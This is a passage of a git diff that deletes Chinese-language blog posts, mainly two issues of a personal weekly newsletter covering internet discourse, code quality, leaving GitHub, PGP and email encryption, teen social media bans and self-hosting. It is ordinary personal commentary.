[Jar](https://jar.geedea.pro/) 在本周一上线了,名字和 Java 没有任何关系。法语里的花园是 *Jardin*,前三个字母连在一起就是英语里罐子(Jar)的意思。对我来说,比起不断生长的数字花园,什么东西都往里面塞的罐子,大概更符合我的需求。这里面会存放极客死亡计划的废稿,一些不知道写在什么其他地方的笔记,未来还可能存放计划、路线图之类的东西。 - -设计上,Jar 秉承 [mother-fucking website](https://motherfuckingwebsite.com/) 的理念,几乎没有编写太多的 CSS,并且也是静态网站,用的也是 Hugo。值得一提的是,Jar 的域名是 `jar.geedea.pro`,而没有被放在 `eltr.ac` 域下,你可以把它理解为极客死亡计划的「后花园」。 - -不建议订阅这个网站,但可以偶尔来看看,因为这里面什么都有。 - -### 评论系统已被移除 - -详见《[极客死亡计划书 IV](https://www.geedea.pro/posts/site-report-4/)》。从现在起,请使用联邦宇宙、Webmention 或者电子邮件与我交流。另外,博客的点赞功能也被我偷偷移除了。 - -[^1]: 文中没有提,但我记得,玻璃窗会削弱大部分的紫外线,必须到室外晒太阳才有效果。 - -[^2]: Fortified Food,指代添加了额外营养物质的食物。 - -[^3]: 不构成医疗建议,如果有因缺乏某种营养物质引发的疾病,请咨询医师。 - -[^4]: IU:International Unit,国际单位。 diff --git a/content/posts/weekly/67.md b/content/posts/weekly/67.md deleted file mode 100644 index c2584075..00000000 --- a/content/posts/weekly/67.md +++ /dev/null @@ -1,180 +0,0 @@ -+++ -title = '稻草人周刊 Vol.67' -subtitle = '如何逃离自说自话的认知体系?' -tags = ['认知','互联网文化','独立','编程','自由'] -date = 2026-02-09 10:05:41 -categories = '稻草人周刊' -draft = false -toc = true -toot = 'https://akk.eltr.ac/objects/e3ea6d8b-a09c-4790-8477-a6fe335d28d9' -+++ - -{{< music cover="https://r2.eltr.ac/geedeapro/posts/weekly/67/Taylor_Swift_-_Opalite.png" title="Opalite" artist="Taylor Swift" apple="https://music.apple.com/cn/album/opalite/1874387732?i=1874387733" netease="https://music.163.com/#/song?id=3347158754" spotify="https://open.spotify.com/album/3evV0p6SkiOZFt1rtWRco9" >}} - -Taylor Swift 在这周发布了《Opalite》的 MV 和单曲版本,这首歌是我在她新专辑里最喜欢的一首。MV 拍得很有意思,我看了好几遍。<!--more--> - ---- - -你好!这期周刊的格式没有太多变化,只是移除了标题上的特殊字符,因为我逐渐意识到它们更像是视觉噪音,并没有传达什么有效的信息。除此之外,我也有在想办法提升网页的浏览体验,所以,我在联邦宇宙上发起了[一个投票](https://akk.eltr.ac/objects/b6776592-efc0-495f-9647-b3c46fa56385),关于用户使用亮色模式和夜间模式的习惯。我在考虑要不要添加一个手动切换的按钮,博客现在一直是跟随系统显示的。也欢迎你在这条帖文下发表你的想法,就这样。 - -继续阅读周刊吧! - ---- - -## 连接 - -### 如何逃离自说自话的认知体系? - -> [!note] 📻 -> [《独树不成林》299 - 哪个社交平台最烂?](https://www.xiaoyuzhoufm.com/episode/6983a489c78b823892b31407) - -标题在哗众取宠,但内容非常深刻,尽管 2026 年才过去一个月,我已经想把这期播客作为我的年度最爱了。这期播客批评的并不是具体的某个社交平台,而是发生在互联网上的最常见的「讨论」形式——自说自话。 - -树老师观察到,她在豆瓣上经常被骂「娇妻」和「婚驴」[^1],而在虎扑上却经常被当作挑起性别对立的极端女权主义者。她在某些平台的播客评论区下,能看到一些人沉浸在自己已有的观点和评价中自嗨,评论的内容与播客内容完全无关,那些人只是在抒发他们已有的态度而已,根本没想要认真交流。[^2] - -播客的主要观点之一是:互联网上缺乏现实世界中自然而然建立起来的共识,尤其是指跟具体的人建立起来的过往经历和对对方人格的判断。比如,在现实世界中,和一个自以为是的年轻人谈话,所需要采取的态度、语气和讲话方式,当然是要不同于和一个刚经历了重大打击的老年人谈话应当采取的态度、语气和谈话方式的。而且,现实是复杂的,一个在某些层面看起来道德败坏的人,也有其他的闪光点,毕竟人无完人,和这样的人也能成为朋友。在互联网上,这种共识是不存在的,所有人都被压扁成了一个单一的人格,并且没有人被允许拥有一点瑕疵。 - -播客的另一个主要观点是:知识精英热衷于「拿着锤子找钉子」。他们擅长构造出一个抽象概念,并不断发展这个概念,用它来解释一切、解释世界,并在这一套已经建立起来的前提之下成为能够解释和反驳一切的神。然而,若是要他们从这个假设和前提中跳脱出来,他们却没办法解释这个概念本身,继而与现实立的越来越远。这也使得,在互联网上最安全的讨论方式,就是加入一个同温层,加入一个有共识的认知体系自说自话。 - -第二个观点让我深受启发,因为在树老师描绘那个「拿着锤子找钉子,想要用一个概念、一套理论解释一切,感受到狂热和高潮」的人的时候,我看见了我自己。我应该反思,或许从现在开始,我应该跳脱出一切假定的前提,从最基本的原则和事实来进行讨论,在写作时与读者重新建立共识;又或许,我应该阅读更多、感知更多,减少评价、减少判断,做一个能反思的观察者,而不是一个用观察来作证观点的诡辩家。 - -我还不清楚应该怎么做,但至少,我开始思考。 - -### 黯然死去的「好代码」 - -> [!note] 📜 -> [The Silent Death of Good Code](https://amit.prasad.me/blog/rip-good-code) - -*我已经不记得上次大声朗读是什么时候了。为了让自己坐在书桌前的时间不那么静态,也为了更好地感受语言的力量,我决定每周开始朗读一篇被我选取到周刊里的文章。其实一开始的出发点是周日早上起来发现自己感冒好了,喉咙不痛了,想要赶紧使用一下康复的器官。总之,以下是这篇《The Silent Death of Good Code》的音频,由我朗读。我没有刻意练习,只是想读出来,所以会有错误和卡顿的地方,还请见谅。* - -<div> - <audio src="https://r2.eltr.ac/geedeapro/posts/weekly/67/The%20Silent%20Death%20of%20Good%20Code%20(reading).m4a" type="audio/x-m4a" controls autostart="0" autostart="false" preload ="none" /> -</div> - -作者发现现在人们很少在乎「写出好的代码」这件事情了。好代码是指容易阅读和理解,开发和维护起来令人愉悦,因不多不少一个具体的原因而存在,由才华、经验、热情和不能立刻得到回报的投入的时间而产生的代码。最不幸的是,好代码是罕见的。 - -尽管我的软件开发经验不能与作者相提并论,但我依稀记得,不久以前人们还很在意代码的整洁,而现在很多的工作都由 Agent 完成,开发者直接接触代码的时间变少了,人们似乎不那么在意代码的整洁了。 - -> #突然想到 LLM 编程似乎让人们开始忽略编码风格,刚刚在读《代码整洁之道》,作者建议函数最好应该只写两三行,还给出了「一个函数里的代码应该在一个抽象层级上」这种建议。然而,LLM 吐出来代码大多都不会呈现这样的风格,也很难真的判断什么样的代码是「一个抽象层级上」的。 -> -> 不过程序员们真的在乎吗?人们还会关注自己写下来的代码能不能被人读懂吗? - -{{< right "来自[我的旧 Mastodon 账号](https://c7.io/@eltrac/115819799771105669)" >}} - -最近有人在联邦宇宙上回复我,说他最近准备把博客迁移到 Hugo,参考了包括本博客在内的许多主题源代码,他夸奖我的代码写得很规范、按照最佳实践跟进、很漂亮。开心的同时,我也有些心虚,因为博客的代码也有一部分是用 Agent 写的,而那些规范的代码也是我不定期重构的结果,最初的代码其实相当乱(现在也有一部分新添的代码写得很冗杂)。我在想,做人和写代码之间共通的一个美德就是「节制」——在添加新功能、推进开发的欲望中主动停下来,回看之前写下的各种代码,想办法把它变成更令人愉悦的结构,尽可能接近「好代码」的标准。 - -我现在逐渐养成了一个习惯,就是在一个闲暇的午后,端起一杯咖啡,在 Git 仓库创建一个名为 `linting` 的分支,然后调整代码的结构,重写冗杂的代码。这其实还挺令人放松的,像是在修剪花草,我建议你也试试。 - -### 逃离 GitHub 指南 - -> [!note] 📜 -> [A Programmer's Guide to Leaving GitHub](https://lord.io/leaving-github/) - -之前听闻过 [Zig](https://ziglang.org/news/migrating-from-github-to-codeberg/)(一门编程语言)项目和 [Leiningen](https://codeberg.org/leiningen/leiningen/src/branch/main/.github/README.md)(Clojure 的构建工具)搬离 GitHub 的消息,也认识一些个人选择离开这个平台。一开始我对 GitHub 并没有这样避而远之,它的 [ToS;DR](https://tosdr.org/en/service/297) 评级是 B,几乎所有程序员都有 GitHub 账号,并且他的 API 和各种工具都是开放的。我意识到的只是代码托管平台过于中心化的问题,所以自建了 [Forgejo 实例](https://src.eltr.ac),把没有太多合作需求的个人项目都搬到上面(包括这个博客,代码托管和 CI/CD 工作流都是在自己的机器上跑的)。 - -这篇文章比起「指南」,更像是在告诉读者「为什么应该这么做」。作者列举了人们反抗和离开 GitHub 的种种原因,其中的一些我是第一次听闻。在得知 GitHub 竟然和 ICE(美国的移民和海关执法部门)有合作关系之后,我气愤得直接在电脑面前吼出声来。即便我不关心政治,我也能在 New Yorker 杂志和 Hacker News 上看到有关 ICE 的新闻,[ICE 执法人员在今年一月杀害 Renée Good 的事件还被记录在维基百科上](https://en.wikipedia.org/wiki/Killing_of_Ren%C3%A9e_Good)。GitHub 现在还在帮 ICE 托管代码。 - -最近还有腾讯等国内企业要求 GitHub 下架 [WeChat Clean](https://github.com/ellermister/wechat-clean) 等微信相关的开源软件,我这里摘取 WeChat Clean 项目的原文: - -> 根据腾讯法务发来的RTF文档, 翻译了半天才看明白,项目被指控: -> -> 1. 违反DMCA第1201条 - 绕过技术保护措施 -> - 是指:我看了微信的数据库结构 -> -> 2. 违反微信服务条款 - 逆向工程 -> - 是指:我试图理解我自己手机上的数据 -> -> 3. 威胁用户隐私和安全 -> - 是指:让用户知道自己的数据长什么样很危险 -> -> 4. 侵犯知识产权 -> - 是指:你的聊天记录存储格式归腾讯所有 -> -> 不仅如此,我这只是其中一个项目 -> -> - 这次投诉一口气举报了 30 多个类似项目 -> - 其中最大的项目有 4443 个 stars,181 个 stars 的也没了 -> - 我这个 291 stars 的也没得说 -> -> 投诉文件原文节选: -> "illegally offer tools for circumventing Tencent's methods for preventing unauthorized access" -> -> 是指:让用户访问自己的数据是非法的 😣 - -就算不关心政治和技术自由,离开这样一个充满纷争的平台也是有益的。文中作者列出了一些 GitHub 的替代品,并列出了背后的开发者、进行代码审查的方式和一些备注,是很好的参考。如果是个人使用,推荐使用 Go 开发的 Forgejo,很轻量,功能也不少。作者采用的方案更简单直接:使用 S3 储存桶作为远程仓库。他还开发了 [j3](https://code.lord.io/j3/),十分轻量简洁,用于自托管 Git 和 [Jujutsu](https://www.jj-vcs.dev/latest/) 仓库。本质上 j3 只是个 Web UI。印象中,你也可以直接把 Git 仓库上传到自己的服务器,通过 SSH 提交更改。 - -不过,我暂时还不会注销 GitHub 账户,因为目前还是个学生,一个有一定数量的关注者和一些有几百 Stars 的仓库的 GitHub 账号,在求职时大概是很有说服力的。迁移所有的仓库也是个大工程,我会慢慢减少 GitHub 上的活动,但要完全离开的话,还得再等一阵子。 - -## 星群 - -### DaxDuckDex - -这个网站收集了 DuckDuckGo 的搜索彩蛋,比如,搜索「Ash Ketchum」,DuckDuckGo 的鸭子图表就会戴上《宝可梦》里小智的帽子,穿上蓝色的衣服。截至我写下这段文字的时间,这个网站上已经收集了 664 个彩蛋。 - -访问:[DaxDuckDex](https://makdulac.com/daxduckdex.html) - -### Tirith - -有一类攻击手段叫作 IDN 欺骗(internationalized domain name homograph attacks),利用了 Unicode 中的同形字欺骗用户,让他们一位自己访问的是官方网站。比如,西里尔字母中的 `і`(U+0456)和拉丁字母 `i` 长得一模一样,但实际上是不同的字符;大写的 `I` 和数字 `1` 在非衬线字体下也无法区分。浏览器早就防止了这种攻击方式,避免用户访问诈骗网站。 - -然而,终端却不会检查同形字,会直接执行 `curl` 命令。如果用户习惯直接复制网站中的命令或者大语言模型提供的命令,就有可能遭到这种攻击,从错误的网址中下载到恶意程序。 - -Tirith 解决了这个问题,安装后,你执行的每一条命令都被守护。正常的命令在执行时不会有任何区别,但一旦遇到了包含 IDN 欺骗的命令,Tirith 就会拦截这次操作。 - -访问:[sheeki03/tirith](https://github.com/sheeki03/tirith) - -### ReMemory - -这个基于浏览器的工具实现了[沙密的加密分享算法](https://en.wikipedia.org/wiki/Shamir%27s_secret_sharing)(Shamir's Secret Sharing),这是一种在团体之中共享秘密信息的方法。简单来说,信息被加密之后,密钥会被拆分开来,分配给团体中的每一个人。一个人没有办法单独解密,必须要有一定数量的成员集结起来,用多个密钥才能解密信息。 - -ReMemory 的工作方式大概是这样的,你将文件加密之后,将密钥拆分给(例如)5 个你信任的朋友,只有他们其中 3 个人聚在一起使用他们得到的密钥,才能解密这个文件。每个朋友都会得到一个 `recovery.html` 文件,这个文件是自容的(self-contained),意味着不需要联网、只需要有一个浏览器就能使用。一个人打开 `recovery.html`,然后把另外两个人的 `README.txt` 文件拖进网页,就能开始解密。 - -这个工具被创建的初衷是,开发者希望就算他出事了,他信任的朋友也能有办法访问某些重要文件。这个方法不单独信任每一个人,而是信任一个团体。 - -不过这意味着你要有一群相互认识、熟悉计算机技术并且有良好的文件保存习惯的朋友,门槛有点太高了。 - -访问:[ReMemory](https://eljojo.github.io/rememory/) - -## 当下 - -### 自托管 GoatCounter - -上周偷偷地给博客加上了 [GoatCounter](https://www.goatcounter.com/),一个不会跟踪(track)用户的网站流量分析工具。所谓不跟踪,就是不会给访客增加唯一标识,不会跟踪访客在网站上的行踪。这一点不同于 Google Analytics 和 Umami 这类分析工具。GoatCounter,顾名思义,就是在收到访问的时候给对应的数据 +1,仅此而已。GoatCounter 是用 Go 语言开发的,数据库可以选 SQLite 或者 PostgreSQL,从技术栈看就能知道,它的内存占用非常小,对服务器的要求极低。总之,GoatCounter 是一个对用户和网站管理员都很友好的网站分析工具。 - -我用官方提供的免费托管服务试用了一周,决定自托管。官方提供了 [compose.yml](https://github.com/arp242/goatcounter/blob/main/compose.yaml),可以很方便地用 `docker compose` 部署。另外我不得不夸奖一下 GoatCounter 的托管服务,数据导出和删除账号都流程都非常干脆直接。 - -GoatCounter 可以设置向所有人公开数据,我打开了这个设置,你可以在 [stats.geedea.pro](https://stats.geedea.pro/) 查看 GoatCounter 收集到的所有访问数据。如果你希望完全无影无踪地访问我的网站,可以在 URL 后面加上 `#toggle-goatcounter`,这样 GoatCounter 就不会记录你的访问了。 - -### 后花园里的事情 - -本周[罐子](https://jar.geedea.pro/)更新了这些笔记。 - -- [在 Ghostty 中使用 SSH 的问题](https://jar.geedea.pro/notes/ghostty-ssh-issue/) -- [为静态博客添加自动发送 Webmention 的功能](https://jar.geedea.pro/notes/automate-outgoing-webmentions/) - -哦对,现在博客可以自动发送 Webmention 了。 - -### Cloudflare 有害 - -本周遇到了两个 Cloudflare 导致的问题。 - -首先是把博客迁移到自己的 VPS 上之后,发现灯箱、Pagefind 搜索和其他 JavaScript 无法正常加载,这影响倒是不大,毕竟我一直是 JavaScript 极简主义者,突然不能用了或者用户禁用了 JS 也是不影响正常访问的。不过,在开发环境能够正常加载的脚本,为什么到生产环境就不行了呢? - -排查之后发现是 Cloudflare 干的——不知道什么时候开始,Cloudflare 给我的域启用了一个名为 Rocket Loader 的优化功能,以及一些其他的我记不清名字的乱七八糟的优化选项,这导致网页上的 JavaScript 被延迟加载,结果是根本没有加载。*我能自己做好前端的优化,[你凭什么往我的咖啡里加糖?](/essays/no-sugar-in-my-coffee/)* - -另一个问题出在联邦宇宙上,我的实例 Eucalyptus 突然没办法正常和 [Mycelium](https://myce.li/) 联邦,收不到来自 Mycelium 的新帖文和互动。联系小氯之后发现那边访问 Eucalyptus 时得到了 403 错误,本以为是 `nftables` 误封了 IP,但对方表示有质询(challenge),才意识到问题不对…… - -又是你!Cloudflare! - -在 Cloudflare 的用户界面迷宫里找了半天,才在一个名为「事件」的页面发现,Cloudflare 的 Bot Fight Mode 拦截了大量的 ActivityPub 流量。所以,过去的几天里,我不只是没有收到 Mycelium 的消息,也没有收到其他很多实例的消息。 - -关掉 Bot Fight Mode 之后,一切恢复正常。 - -Richard Stallman 曾写到,[Cloudflare 是有害的](https://stallman.org/cloudflare.html),作为中间层,他能访问 HTTPS 通信的内容,也会跟踪用户。最近也感觉到,它的功能越来越臃肿,有好多意外出现的问题都来自那些我根本不需要的特性。 - -我想要逃离 Cloudflare,毕竟我使用它的主要原因是防止 DDoS 攻击。至于替代的防护方案,我还要再思考一下。还有 R2 储存桶,真的很难找到好用又便宜的 S3 兼容存储啊! - -[^1]: 很难想象,自称女权主义者的人,会发明出这么多辱骂女性的词汇。 - -[^2]: 本人有幸也在博客评论区收到过这样的评论。 - diff --git a/content/posts/weekly/68.md b/content/posts/weekly/68.md deleted file mode 100644 index 4b0269ef..00000000 --- a/content/posts/weekly/68.md +++ /dev/null @@ -1,220 +0,0 @@ -+++ -title = '稻草人周刊 Vol.68' -subtitle = '电子邮件是修不好的破车' -tags = ['设计','游戏','AI','密码学','Geek','教育','词源学'] -categories = '稻草人周刊' -date = 2026-02-16 00:18:31 -draft = false -toc = true -toot = 'https://akk.eltr.ac/objects/b61dc71d-e251-499f-9f0c-fabbf1c98b13' -+++ - -{{< music title="Beat Yourself Up" artist="Charlie Puth" cover="https://r2.eltr.ac/uPic/2025/10/charlie-puth-whatevers-clever.jpeg" apple="https://music.apple.com/cn/album/beat-yourself-up/1845189970?i=1845189973" spotify="https://open.spotify.com/album/4UEzLrGegP8f1PyFEXaKKN" >}} - -我最喜欢的创作型男歌手 Charlie Puth 释出了新专辑《Whatever's Clever》中的两首新歌,其中我最喜欢的是这首《Beat Yourself Up》。某天晚上出门散步的时候还在 Apple Music 上发现了他的一期 Radio Takeover[^5],听到了一些不错的音乐,貌似还被上了一堂音乐课。 - -<!--more--> - ---- - -这期周刊发布的时候,应该正好是除夕。虽然应该不会有太多人在春节假期还抽出时间来读我的博客,但我还是想给读者说声新年好。此外,我还在上周重写了[关于](/about)页面,这可能是我每年都会做一次的事情。我记得我之前有一段时间,经常因为想到自己放在万维网上的某个页面没办法准确描述自己而坐立不安,频繁删改。既然这样,就干脆把它变成一件周期性的事情吧,也算是定期审视自己了。 - -如果你观察导航栏的话,会发现不只是关于页面有了变化,剩下的就等读者自己去发现吧。 - -顺带一提,我的[新个人主页](http://eltr.ac/)基本完工了,用 Clojure 编写,源代码在[此](https://src.eltr.ac/eltrac/capricorn/)。我会时不时在那里修修改改,写一点有关自己的东西,而极客死亡计划是我进行思考的地方。~~所以你可能会在我的主页上找到一些不太得体的内容。~~ - -就这样,继续阅读周刊吧! - ---- - -## 连接 - -### 电子游戏中的道路艺术 - -> [!note] 📜 -> [Art of Roads in Games](https://sandboxspirit.com/blog/art-of-roads-in-games/) - -电子游戏中的道路,有很多是用贝兹曲线(Bezier Spline)实现的,大部分时候这种纯粹通过简单数学计算制作出来的道路并没有太多问题,可一旦角度太大,就会出现自相交等问题,总之现实中车辆行驶的轨迹不可能是那样的。这种问题在大量的教程和游戏 Demo 中都能发现,还有很多十字路口的转角处竟然是直角,稍微思考一下就能意识到车辆根本没办法在这种地方转弯。 - -作者开发了他自己的道路系统,这篇文章只是一个引子,更多内容会在之后的文章发布。 - -作者表示他喜欢那种看起来混乱,但实际上错综复杂且有秩序的存在,现实中的道路就是一个。如果某一天外星人发现了遗留在地球上的道路系统,一定会感到大为震撼:有人花了很多心思设计这个呢!我想起了我之前在 Minecraft 服务器里当镇长的经历,社区发展起来之后,有很大一部分的工作就是修路。除了用道路造景,每个 Minecraft 玩家都知道,下界的冰道交通系统对大型服务器来说是必不可少的,~~除非玩的是那种有快速传送方式的无聊服务器~~。我在高中选了地理这一门科目,依稀记得其中有不少知识点都和交通相关,比如交通对商业的影响。 - -道路真的是人类文明里很神奇的一部分呢。 - -### 给别人看 AI 生成的内容是不礼貌的 - -> [!note] 📜 -> [It's rude to show AI output to people](https://distantprovince.by/posts/its-rude-to-show-ai-output-to-people/) - -一本名叫 [Blindsight](https://en.wikipedia.org/wiki/Blindsight_(Watts_novel)) 的科幻小说中,有一种名为 Scrambler[^2] 的外星生物。这种外星生物认为信息的唯一作用就是用来感知,所以无法忍受人类整天说闲话,于是就跟地球开战了。作者表示他现在理解了 Scrambler 们的心情,他在读到明显是 AI 生成的内容时就会感到愤怒。 - -由于 LLM 只会「回复」,而不会像小说里的人类一样主动向外太空发送无用信息,所以,只要一开始人们不主动传播 AI 生成的垃圾,就不会受其困扰。**我们的敌人是人类**,而不是 AI。作者认为人们应该学学「AI 礼仪」,使用 AI 是没问题的,但这样是有问题的: - -> 我问了 ChatGPT,这是他的回复:<...> - -> 我用 15 分钟生成了这些代码提交 PR,你审查吧。 - -简单来说,如果你已经把你从 LLM 那里得到的东西内化于心了,并且能给出你发这些东西的原因、你的想法,那就没问题。 - -最近在联邦宇宙上看到,有人在发布和 LLM 的对话节选时会折叠内容(标记为敏感内容),只要其他人不主动点开,就不会读到 LLM 生成的内容。我认为这是礼貌的体现,建议所有人学习。 - - -### PGP 有什么问题? - -> [!note] 📜 -> [The PGP Problem](https://www.latacora.com/blog/2019/07/16/the-pgp-problem/) - -> [!note] 📜 -> [What to Use Instead of PGP](https://soatok.blog/2024/11/15/what-to-use-instead-of-pgp/) - -PGP(Pretty Good Privacy)是诞生于上世纪九十年代的加密软件,可以用来给文本、邮件、文件和磁盘分区等签名、加密和解密。PGP 本来是个商业软件,后来出现了 OpenPGP 这个开放的标准,GNU Privacy Guard(俗称的 GPG)和 Sequoia PGP 等软件实现了这个标准。[^4]不过,使用 OpenPGP 基本上是绕不过 GPG 的,就像使用联邦宇宙也绕不开 Mastodon 一样,使用率最高的软件几乎可以决定事实标准。上面的两篇文章观点一致,PGP、OpenPGP、GPG 等所有相关的软件,全都有不可忽视的缺陷,所有人都不应该继续使用它。 - -Latacora 的《The PGP Problem》这篇文章发表于 2019 年,第二篇文章由 Soatok 撰写,撰写的原因是:*Latacora 那篇文章发布都五年了,你们这些人怎么还挤破了头去用 PGP?* - -Soatok 表示,对于密码学专家来说,「PGP 很难用并且有缺陷」这件事并没有争议,但其它领域的工程师似乎并不了解。我设想了一下,如果 Soatok 所言属实,那密码学专家们看到如今还有这么多人用 PGP 的心情,大概就和我看到有人用廉价陶瓷磨豆机磨瑰夏,还不控制水温一通乱冲一样。 - -简单来说,PGP 是把瑞士军刀,好处是什么都能干,坏处是什么都干不好。Latacora 那篇文章中反复强调的观点是:兼容性和加密的安全性,是不可兼得的,而 PGP 一直在保证兼容性,保留旧的、有缺陷的加密算法。作者还表示,人们之所以离不开 PGP,很大一部分原因是 PGP 的社区太活跃了,人们热衷于构建信任网(web of trust),互相给密钥签名,甚至会组织线下的签名聚会。此外,文中还有…… 更尖锐的观点: - -> We can’t accept bad cryptosystems just to make Unix nerds feel better about their toys. -> -> 我们不能只是为了让 Unix 书呆子们对它们的玩具感觉良好就接受差劲的加密系统。 - -要解决瑞士军刀「样样都会但是每样都干不好」的问题,方法当然是给特定的用途找正经的工具来用,比如用 Magic Wormhole 加密传输文件(或者 `ssh` + `rsync` 也行)、用 SSH 密钥给 Git commit 签名、用 Sigstore 给软件包签名、用 Signal 进行加密通信而不是用 PGP 加密电子邮件。[^3] 不过,比起常规的加密和签名,PGP 实际上还提供了一个密码学意义上的、去中心化的身份认证系统,这点似乎还没有特定的软件或标准可以替代。 - -总而言之,PGP 已经是老古董了,近年来给它打上的新补丁看起来也无济于事,有不少缺陷。最好在特定的用途下使用更现代的软件替代,而不是用一个 PGP 密钥对走天下。仔细想想,我一开始接触到 PGP 和 GPG 也只是为了给 Git commit 签名,而这点完全可以用 SSH 密钥代替。 - -### 电子邮件是修不好的破车 - -> [!note] 📜 -> [Everything You Need to Know About Email Encryption in 2026](https://soatok.blog/2026/01/04/everything-you-need-to-know-about-email-encryption-in-2026/) - -电子邮件也是老古董了,目前人们仍然是用上世纪八十年代(四十多年前)的 SMTP 协议传输邮件,这个协议使用**明文**传输邮件内容,很多邮件服务提供商并不会强制使用 TLS(传输层安全协议),这导致电子邮件通信其实并不安全。 - -书接上文,PGP 可以用来给邮件加密,但 Latacora 的那篇文章、Soatok 和我正在使用的邮件提供商 [Migadu](https://migadu.com/procon/#not-encrypted) 都认为:你**不应该**给电子邮件加密。Migadu 的说法是,这不符合 SMTP 协议的标准,而且邮件加密之后就没办法扫描垃圾邮件、病毒、给邮件添加索引了,如果密码丢失,你甚至没办法恢复消息;再者,管理密钥也是个问题,邮件服务商肯定是要留一把私钥的。 - -如果只是发信人和收信人之间自己使用 PGP 加密,也不能完全保证安全。抛开 PGP 本身的缺陷不谈,如果邮件交流的某一方在某次回复时忘记了加密,而过往邮件记录的引文也都在这封邮件里,那之前的加密不就白费了吗?不是所有人都会给邮件加密,就算你发送了一封加密的邮件给某人,而他回复的时候却没有加密,那你加密过的内容仍然会以明文的形式进入到互联网中。 - -包括我自己在内的许多人都有发现,最近配置域名邮箱所需要添加的 DNS 记录比之前多了好多,那是因为电子邮件一直在加各种安全补丁。Soatok 的文章中谈到了 DKIM,大概是一种从密码学意义上验证某一封邮件是由某人通过某服务器发送的手段,这对防止滥用和诈骗来说很重要,但对于加密通信来说并不理想。电子邮件有泄露元信息(metadata)的问题,就算邮件正文是加密的,邮件的主题、发送方、接收方等信息也难以隐藏。 - -比起技术层面的各种问题,电子邮件没办法做到完美加密的最重要的原因其实是:政治! - -> Repeat after me: all technical problems of sufficient scope or impact are actually political problems first. -> -> 跟我念:所有有着足够大规模或影响的技术问题,一开始都是政治问题。 - -{{< right "——[Eleanor Saitta](https://infosec.exchange/@dymaxion/109344795644687902)" >}} - -首先是大部分人其实并不在乎加密通信和隐私,我相信阅读这期周刊的不少读者都会有这样的想法:「我没有什么好隐藏的。」「加密通信不是罪犯才需要的东西吗?」以至于在乎电子邮件的隐私问题的人很少。也有人设计过更安全、泄露更少元信息的电子邮件通信协议,以取代 SMTP(如 [SMIMP](https://adamcaudill.com/2014/08/16/smimp-at-the-defcon-cryptovillage/)),但并没有取得成果,主要的原因是:电子邮件尽管是开放协议,但仍然是被大科技公司垄断的;他们不在意,就很难做出改变。 - -Well, that's pretty fucked up. - -读完这篇文章,我想比起想办法让老古董电子邮件更安全,不如使用本身就足够安全的新通信协议。同时,要接受电子邮件并不是「信封」,而是在互联网中传送的「明信片」,不应该指望它有多么安全。 - -### 国家应该立法禁止青少年使用社交媒体吗? - -> [!note] 📻 -> [《独树不成林》302-国家应该立法禁止青少年使用社交媒体吗?](https://www.xiaoyuzhoufm.com/episode/698d4f2666e2c3037721b330) - -近期澳大利亚正式推行了青少年社交媒体禁令,十六岁以下的儿童不能使用社交媒体。[^1][^6]这一举动也引起许多国家效仿,因为他们发现社交媒体禁令在实操层面是可行的,澳大利亚在推行禁令的时间里几乎没有误封成年人的账号。至于为什么要禁止青少年使用社交媒体,主要的影响来自社会心理学家乔纳森·海特的《焦虑的一代》,这本书从教育和技术等角度解释了智能手机和社交平台如何塑造童年,以及如何对青少年造成了伤害。青少年中普遍存在的心理问题其实**并非**是社交媒体单方面导致的,还有,比方说,鼓励式教育。童年中挫折的缺失,使得青少年在长大后无法面对真实世界——当我听到美国的大学甚至要求老师为课堂内容设置内容警告(trigger warning)的时候,我真的笑出声了。 - -联系到[上一期周刊](/posts/weekly/67/#如何逃离自说自话的认知体系)提到的《独树不成林》第 299 期播客中的观点,互联网上争吵不断、社交媒体越来越烂的根本原因是人们无法在互联网上建立共识,而受到不健全教育摧残的青少年又开始在社交媒体上要求网友设置内容警告、照顾自己的情绪,无疑造就了一个更加乌烟瘴气的互联网。 - -大多数人不会反对的一个观点是:过度使用互联网对任何人都是有伤害的,无论年龄。只不过,人们普遍认为,可以允许成年人伤害自己。那么,要不要禁止青少年使用社交媒体这个问题,就被抽象成了:要不要禁止青少年伤害自己?童年应不应该被保护? - -还有另一个很微妙的阶级问题,《焦虑的一代》这本书最有影响力的地方,其实是富人阶层,原因在于富人的小孩子有除互联网以外的、让童年丰富和充实起来的选择——这是巨大的特权。光把手机从小孩身上收走是不够的,家长还应该为小孩提供其他的活动,或者说,更好的方法从来就不是禁止使用社交媒体,而是提供比社交媒体更有吸引力的替代方案。 - -在面对这样一个教育问题时,最应该关注的不是对儿童的法律约束,而是成年人的意识问题:成年人愿不愿意承担起教育子女应有的责任?又及,我想要扩展一下:在不结婚生子就是异类的社会中,人们真的在意教育问题吗? - -最后,原谅我,我还想谈谈年龄验证带来的隐私问题。要验证一个用户的真实年龄,必然要收集用户的身份信息,这可不是邮箱地址和手机号这么简单,要验证年龄,必然要出示有效身份证明。Discord 最近自发地进行年龄验证,他们收集到的数据是怎么处理的呢?毕竟,数据泄露这种事情,已经不新鲜了。年龄验证不会直接创造出更好的童年,也更不会带来更好的互联网,反而会造就新的问题。[^7] - -### Foo 的词源 - -> [!note] 📃 -> [RFC 3092 - Etymology of "Foo"](https://datatracker.ietf.org/doc/html/rfc3092) - -看到 RFC(Request For Comment)就会以为这是什么严肃的互联网技术标准,就算是研究词源,那应该也是偏严肃的吧——我在 Hacker News 上看到这篇文章时就是这么想的,直到我在里面读到了「Foomobile」这个词。 - -*抬头,看见日期:1 April 2001* - -好,好,好。在 2 月份把一篇二十多年前的愚人节文章发到 Hacker News 上的人到底是谁!不过,虽然是一篇幽默的文章,但内容还是有考据的,不是胡编乱造,串联起了各种有关 Foo 词源的说法,以及一些漫画里对 Foo 这个词的使用,奇妙的是,竟然还有说法是 Foo 实际上是中国汉字「福」。 - -如果你不知道 Foo 是什么:这个词常常出现在各种编程教程或文档的示例代码中,用作没有实意的符号名,比如 [ClojureDocs](https://clojuredocs.org/clojure.core/defn) 里就有着这样的例子 `(defn foo [a b c] (* a b c))`,使用 Foo 来演示如何在 Clojure 中定义函数。 - -## 星群 - -### RustCast - -顾名思义,这是一个用 Rust 写的 RayCast 开源替代,看起来还在早期开发阶段,对功能要求不多的 macOS 用户可以试试。如果你不知道 RayCast 是什么:这是一个可以随时用快捷键呼出的输入框,你可以用这个输入框启动 App、计算、查词典、搜索网页、搜索文件等等。装了这类软件之后,你就不需要再依赖 Spotlight(聚焦搜索)了。 - -访问:[RustCast](https://rustcast.umangsurana.com/) - -## 当下 - -### 你好,Codeberg! - -上周分享了《[逃离 GitHub 指南](https://lord.io/leaving-github/)》,这周就付诸行动了,起因是我在更新 [Libra.js](https://codeberg.org/eltrac/libra) 